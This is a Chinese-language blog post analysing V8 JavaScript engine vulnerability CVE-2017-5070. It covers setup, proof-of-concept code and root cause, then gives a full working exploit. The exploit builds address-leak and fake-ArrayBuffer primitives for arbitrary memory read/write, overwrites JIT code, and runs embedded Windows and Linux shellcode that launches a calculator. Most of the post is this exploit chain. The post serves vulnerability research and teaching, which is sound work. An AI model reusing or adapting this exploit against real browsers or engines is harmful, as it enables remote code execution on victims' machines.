V8引擎CVE-2017-5070漏洞分析

Posted by GToad on August 2, 2019

本文为本博客V8系列第三篇。

漏洞基本信息

漏洞信息页面

漏洞修复代码

根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。

git checkout 9a493631005539cdabb7366352e8dd8188141a80
gclient sync

对源码进行编译。

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

PoC

参考了如下两个POC:

var array = [[{}], [1.1]];
var double_arr2 = [1.1,2.2];
function transition() {
  for(var i = 0; i < array.length; i++){
    var arr = array[i];
    arr[0] = {};
  }

}

var flag = 0;
function swap() {
  try {} catch(e) {}  // Prevent Crankshaft from inlining this.
  if (flag == 1) {
    array[1] = double_arr2;
  }
}
var expected = 6.176516726456e-312;
function f(){
  Math.sin(1);
  swap();  
  double_arr2[0] = 1;
  transition(); 
  double_arr2[1] = expected; 
  
}
%DebugPrint(double_arr2);
f();
%OptimizeFunctionOnNextCall(f);
flag = 1;
f();

print ("111");
print (expected === double_arr2[1]);
print ("222")

第二个是大佬大宝的:

var array = [[{}], [1.1]];

function transition() {
  for(var i = 0; i < array.length; i++){
    var arr = array[i];
    arr[0] = {};
  }
}

var double_arr2 = [1.1,2.2];

var flag = 0;
function swap() {
  try {} catch(e) {}  // Prevent Crankshaft from inlining this.
  if (flag == 1) {
    array[1] = double_arr2;
  }
}

var expected = 6.176516726456e-312;
function f(){
  swap();
  double_arr2[0] = 1;
  transition();
  double_arr2[1] = expected;
}

// %OptimizeFunctionOnNextCall(f);
for(var i = 0; i < 0x10000; i++) {
  f();
}
flag = 1;
f();
assertEquals(expected, double_arr2[1]);

分别使用这两个POC对漏洞版本v8进行测试,可能第一个POC更加容易理解,该POC代码执行后会在倒数第二行的代码处报错,最后一行的输出并不会执行,原因是对double_arr2的解析会报错。

漏洞成因

调试分析

本漏洞在gdb调试时可能出现数据无法正常读出的情况,因此,需要使用gdb的attach功能,大致方法如下:

  1. 在一个terminal中运行测试脚本:gdb d8 --allow-natives-syntax ./test.js,脚本中的%SystemBreak();全都换成readline();这样脚本会停在readline这里等用户输入并回车。
  2. 在另一个terminal里用ps -uf命令查看步骤1中的进程号,然后用sudo gdb d8(一定要sudo!),进入后用attach 进程号来调试这个进程,attach上以后记得先用stop命令让进程暂停下来。

结论

那么仔细看一下本漏洞的大致原理是什么呢?关键在于transition和swap这两个函数。

swap函数不仅仅是需要JIT优化,还要防止自己因为过短而被inline进f()。

transition这个函数看似没有对我们的array和double_arr2进行任何改变,仅仅只修改了局部变量arr。但是,这只是代码表面现象,实际上v8会对array中的两个元素进行优化调整。并且这个优化调整还会在flag=1时在swap中涉及到double_arr。

最后由于执行次数太多,swap和transition会进行JIT优化并去除一些类型检查。最终的效果就是double_arr2在访问时会直接把自己的元素上保存的数据当作double值给直接返回出来,而不是正常情况下把它们作为double对象的指针去寻找目标内存中下一个的数据作为double来返回。

根据上面的分析,这个漏洞最后的表现为:由于double_arr2开始直接把自己元素的指针当作double来返回了,所以在f()里直接对double_arr2进行object赋值,这样访问double_arr后就能直接得到object的地址了。于是这就是个任意地址读的原语addrOf(object),这里并没有暴露出很明显的fakeObject原语。

漏洞利用

步骤一

第一步,我们先创建了一个var ab = new ArrayBuffer(0x20);

然后用addrOf原语泄露出ab.__proto__的地址,这个地址就是%DebugPrint(ab)中包含的prototype的地址。并且通过-0x70就可以得到ab_constructor_addr的地址。

步骤二

第二步,新建ab_map_obj变量,是个uint32,总共12个int32或6个int64的数组:

var ab_map_obj = [
    nop,nop,
    0x1f000008,0x000900c0,0x082003ff,0x0,
    nop,nop,   // use ut32.prototype replace it
    nop,nop,0x0,0x0
];

然后对其中的[6,7,8,9]进行赋值,把第一步得到的ab_proto_addr和ab_constructor_addr两个64位数据给了这4个32位。

接下来新建var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];长度为6的double64数组。使用工具函数change_to_float把ab_map_obj里的12个int32都赋值给 ab_map_obj_float。通过addrOf原语得到 ab_map_obj_float的地址,然后+0x40就是这6个float64数据的存储位置,这6个数据现在伪装成了一个arraybuffer的map。

步骤三

第三步,新建两个变量:(和第二步差不多)

var fake_ab = [
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    0x0,0x4000, // buffer length 
    0x12345678,0x123,// buffer address
    0x4,0x0
]
var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];

把fake_ab的数据也保存进fake_ab_float,然后用原语泄露地址。最后通过+0x40来获得6个float64数据的位置。这6个数据现在已经伪装成一个arraybuffer了。

步骤四

第四步,本步骤在double_arr42[1]上保存上步得到的fake_ab_float_addr的数据。于是再次从double_arr42[1]上取出来时,已经是一个假的arraybuffer了,赋值给fake_arraybuffer。 此时,我们既可以用fake_ab_float来任意修改这6个float64数据,同时这6个float64数据也被认为是个arraybuffer,其中因此通过修改backing store属性就可以进行任意读写。

步骤五-七

第五步,本步骤用原语得到了function_to_shellcode函数对象的地址,并通过+0x38得到code对象的位置。

第六步,用任意读能力从code属性得到函数的汇编地址。

第七步,把汇编地址存入backing store,接下来就可以改写函数汇编代码了,之后执行这个函数就行。

最终效果

执行该exploit后可以成功执行shellcode并弹出计算器:

完整EXP

//var shellcode = [0xcccccccc,0x90909090];

var shellcode_dict = {
"x86":"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
+"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
+"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
+"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
+"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
+"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
+"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
+"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
+"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
+"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
+"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
+"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00", 
"x64": "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
+"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
+"\x63\x2e\x65\x78\x65\x00",
"linux-x64-bd":"\x90\x90\x90\x90\x90\x90\x90\x90"
+"\x78\x2f\xb8\x48\x63\x6c\x61\x63"
+"\x48\x50\x00\x00\x73\x75\x2f\xb8"
+"\x69\x62\x2f\x72\x89\x48\x50\x6e"
+"\xc0\x31\x48\xe7\x89\x48\x57\x50"
+"\xd2\x31\x48\xe6\x3a\xc0\xc7\x48"
+"\x50\x00\x00\x30\x49\x44\xb8\x48"
+"\x41\x4c\x50\x53\x48\x50\x3d\x59"
+"\x31\x48\xe2\x89\x48\x52\x50\xc0"
+"\xc7\x48\xe2\x89\x00\x00\x3b\xc0"
+"\x05\x0f\x00",
"linux-x64-ld":"\x90\x90\x90\x90\x90\x90\x90\x90"
+"\x48\xb8\x2f\x78\x63\x61\x6c\x63"
+"\x00\x00\x50\x48\xb8\x2f\x75\x73"
+"\x72\x2f\x62\x69\x6e\x50\x48\x89"
+"\xe7\x48\x31\xc0\x50\x57\x48\x89"
+"\xe6\x48\x31\xd2\x48\xc7\xc0\x3a"
+"\x30\x00\x00\x50\x48\xb8\x44\x49"
+"\x53\x50\x4c\x41\x59\x3d\x50\x48"
+"\x89\xe2\x48\x31\xc0\x50\x52\x48"
+"\x89\xe2\x48\xc7\xc0\x3b\x00\x00"
+"\x00\x0f\x05"
};
var shellcode_str = shellcode_dict["linux-x64-ld"];
var shellcode_buf = new ArrayBuffer(shellcode_str.length);
var shellcode = new Uint8Array(shellcode_buf);
for (var i=0, strLen=shellcode_str.length; i<strLen; i++) {
    shellcode[i] = shellcode_str.charCodeAt(i);
}
function d2u(num1,num2){ // uint32*2 --> float64
    d = new Uint32Array(2);
    d[0] = num2;
    d[1] = num1;
    f = new Float64Array(d.buffer);
    return f[0];
}

function encode_to_float64(num) { // float64 --> uint64
    %DebugPrint(num);
    f = new Float64Array(1);
    f[0] = num;
    d = new Uint32Array(f.buffer);
    return d[1] * 0x100000000 + d[0];
}

function change_to_float(intarr,floatarr){ // uint32-array --> float-array
    var j = 0;
    for(var i = 0;i < intarr.length;i = i+2){
        var re = d2u(intarr[i+1],intarr[i]);
        floatarr[j] = re;
        j++;
    }
}


// 1. leak ArrayBuffer address
flag = 0;
var array = [[{}], [1.1]];  
var double_arr_2  = [1.1, 2.2]; 
var ab = new ArrayBuffer(0x20);
function read_obj_addr(object){

    function swap(){ // swap
        try {} catch(e) {}
        if(flag == 1){
            //print("GT1");
            array[0x1] = double_arr_2;
        }
    };
    
    function carry_me_plz(arr,obj){ // transition
        for(var i = 0;i < arr.length;i++){
            var o = arr[i];
            o[0] = obj;
        }
    }
    function sorry(){
        swap();
        double_arr_2[0] = 1.1;
        carry_me_plz(array,object);
        return double_arr_2[0];
    }
    for(var i = 0;i < 0x1000;i++){
        carry_me_plz(array,object);
    }
    for(var i = 0;i < 0x1000;i++){
        sorry();
    }
    /*
    carry_me_plz(array,object);
    sorry();
    %OptimizeFunctionOnNextCall(carry_me_plz);
    %OptimizeFunctionOnNextCall(sorry);
    */
        
    flag = 1;
    re = encode_to_float64(sorry());
    return re;
}       
ab_proto_addr = read_obj_addr(ab.__proto__);
//print("*******1.ab_proto_addr: 0x" + ab_proto_addr.toString(0x10));
ab_constructor_addr = ab_proto_addr - 0x70;
%DebugPrint(ab);
%DebugPrint(ab.__proto__);
%DebugPrint(double_arr_2);
%DebugPrint(ab_proto_addr);
%DebugPrint(ab_constructor_addr);
print("*******1.ab_proto_addr: 0x" + ab_proto_addr.toString(0x10));
readline();
//---------------------------------------------------------------------------------

var nop = 0xdaba0000;
var ab_map_obj = [
    nop,nop,
    0x1f000008,0x000900c0,0x082003ff,0x0,
    nop,nop,   // use ut32.prototype replace it
    nop,nop,0x0,0x0
];

ab_map_obj[0x6] = ab_proto_addr & 0xffffffff;
ab_map_obj[0x7] = ab_proto_addr / 0x100000000;
ab_map_obj[0x8] = ab_constructor_addr & 0xffffffff;
ab_map_obj[0x9] = ab_constructor_addr / 0x100000000;
float_arr = [];


var ab_map_obj_float = [1.1,1.1,1.1,1.1,1.1,1.1];
change_to_float(ab_map_obj,ab_map_obj_float);
    
flag = 0;
var array2 = [[{}], [1.1]]; 
var double_arr22  = [1.1, 2.2]; 

var valueOf2 = {};
valueOf2.valueOf = function(){
    if(flag == 1){
        array2[0x1] = double_arr22;
        
    }
    return 1;
};
function read_obj_addr2(object){
    function carry_me_plz(arr,obj){
        for(var i = 0;i < arr.length;i++){
            var o = arr[i];
            o[0] = obj;
        }
    }
    function sorry(){
        1 + valueOf2;
        double_arr22[0] = 1.1;
        carry_me_plz(array2,object);
        return double_arr22[0];
    }
  
    for(var i = 0;i < 0x1000;i++){
        carry_me_plz(array2,object);
    }
    for(var i = 0;i < 0x1000;i++){
        sorry();
    }
    /*
    carry_me_plz(array2,object);
    sorry();
    %OptimizeFunctionOnNextCall(carry_me_plz);
    %OptimizeFunctionOnNextCall(sorry);
    */
   
    flag = 1;
    re = encode_to_float64(sorry());
    return re;
}
ab_map_obj_addr = read_obj_addr2(ab_map_obj_float) + 0x40; 
//print("*******2.ab_map_obj_addr: 0x" + ab_map_obj_addr.toString(0x10)); // addr of the six data
%DebugPrint(ab_map_obj);
%DebugPrint(ab_map_obj_float);
%DebugPrint(double_arr22);
%DebugPrint(ab_proto_addr);
%DebugPrint(ab_constructor_addr);
print("*******2.ab_map_obj_addr: 0x" + ab_map_obj_addr.toString(0x10));
readline();
//-----------------------------------------------------------------------------

var fake_ab = [
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    ab_map_obj_addr & 0xffffffff, ab_map_obj_addr / 0x100000000,
    0x0,0x4000, // buffer length 
    0x12345678,0x123,// buffer address
    0x4,0x0
]
var fake_ab_float = [1.1,1.1,1.1,1.1,1.1,1.1];
change_to_float(fake_ab,fake_ab_float);

flag = 0;
var array3 = [[{}], [1.1]]; 
var double_arr32  = [1.1, 2.2]; 

var valueOf3 = {};
valueOf3.valueOf = function(){
    if(flag == 1){
        array3[0x1] = double_arr32;
        
    }
    return 1;
};
function read_obj_addr3(object){
    function carry_me_plz(arr,obj){
        for(var i = 0;i < arr.length;i++){
            var o = arr[i];
            o[0] = obj;
        }
    }
    function sorry(){
        1 + valueOf3;
        double_arr32[0] = 1.1;
        carry_me_plz(array3,object);
        return double_arr32[0];
    }

    for(var i = 0;i < 0x1000;i++){
        carry_me_plz(array3,object);
    }
    for(var i = 0;i < 0x1000;i++){
        sorry();
    }           
    /*
    carry_me_plz(array3,object);
    sorry();
    
    %OptimizeFunctionOnNextCall(carry_me_plz);
    %OptimizeFunctionOnNextCall(sorry);
    */
    flag = 1;
    re = encode_to_float64(sorry());
    return re;
}
fake_ab_float_addr = read_obj_addr3(fake_ab_float) + 0x40; // addr of the data
//print("*******3.fake_ab_float_addr: 0x" + fake_ab_float_addr.toString(0x10));
%DebugPrint(double_arr32);
%DebugPrint(fake_ab);
%DebugPrint(fake_ab_float);
print("*******3.fake_ab_float_addr: 0x" + fake_ab_float_addr.toString(0x10));
readline();
//------------------------------------------------------------------------

flag = 0;
var array4 = [[{}], [1.1]]; 
var double_arr42  = [1.1, 2.2]; 
    
var valueOf4 = {};
valueOf4.valueOf = function(){
    if(flag == 1){
        array4[0x1] = double_arr42;
        
    }
    return 1;
};
fake_ab_float_addr_f = d2u(fake_ab_float_addr / 0x100000000,fake_ab_float_addr & 0xffffffff);
function carry_me_plz_fake(arr){
    for(var i = 0;i < arr.length;i++){
        var o = arr[i];
        ttt = o[0];
    }
}
function sorry_fake(){
    1 + valueOf4;
    double_arr42[0] = 1.1;
    carry_me_plz_fake(array4);
    double_arr42[1] = fake_ab_float_addr_f
}

for(var i = 0;i < 0x1000;i++){
    carry_me_plz_fake(array4);
}
for(var i = 0;i < 0x1000;i++){
    sorry_fake();
}
flag = 1;
sorry_fake();
fake_arraybuffer = double_arr42[1];
fake_dv = new DataView(fake_arraybuffer,0,0x4000);
//print("*******4.fake_ab_float_addr_f: 0x" + fake_ab_float_addr_f.toString(0x10));
%DebugPrint(fake_ab_float_addr_f);
print("*******4.fake_ab_float_addr_f: 0x" + fake_ab_float_addr_f.toString(0x10));
%DebugPrint(double_arr42);
//%DebugPrint(fake_arraybuffer); // the same as 3.fake_ab_float_addr
%DebugPrint(fake_dv);

readline();
//------------------------------------------------------------------------------

var function_to_shellcode = function () {
    eval('');
}

flag = 0;
var array5 = [[{}], [1.1]]; 
var double_arr52  = [1.1, 2.2]; 

var valueOf5 = {};
valueOf5.valueOf = function(){
    if(flag == 1){
        array5[0x1] = double_arr52;
        
    }
    return 1;
};
function read_obj_addr5(object){
    function carry_me_plz(arr,obj){
        for(var i = 0;i < arr.length;i++){
            var o = arr[i];
            o[0] = obj;
        }
    }
    function sorry(){
        1 + valueOf5;
        double_arr52[0] = 1.1;
        carry_me_plz(array5,object);
        return double_arr52[0];
    }
    for(var i = 0;i < 0x1000;i++){
        carry_me_plz(array5,object);
    }
    for(var i = 0;i < 0x1000;i++){
        sorry();
    }
    flag = 1;
    re = encode_to_float64(sorry());
    return re;
}
shellcode_address_ref = read_obj_addr5(function_to_shellcode) + 0x38-1;
print("5.shellcode_address_ref: 0x" + shellcode_address_ref.toString(0x10));
%DebugPrint(function_to_shellcode);
readline();

    /**************************************  And now,we get arbitrary memory read write!!!!!!   ******************************************/

function Read32(addr){
    fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
    return fake_dv.getUint32(0,true);
}
function Write32(addr,value){
    fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);   
    fake_dv.setUint32(0,value,true);
}

shellcode_address = Read32(shellcode_address_ref) + Read32(shellcode_address_ref+0x4) * 0x100000000;

var addr = shellcode_address;

fake_ab_float[4] = d2u(addr / 0x100000000,addr & 0xffffffff);
for(var i = 0; i < shellcode.length;i++){
    var value = shellcode[i];       
    fake_dv.setUint8(i,value,true);
}
print("*******6.start to shellcode");
readline();
function_to_shellcode();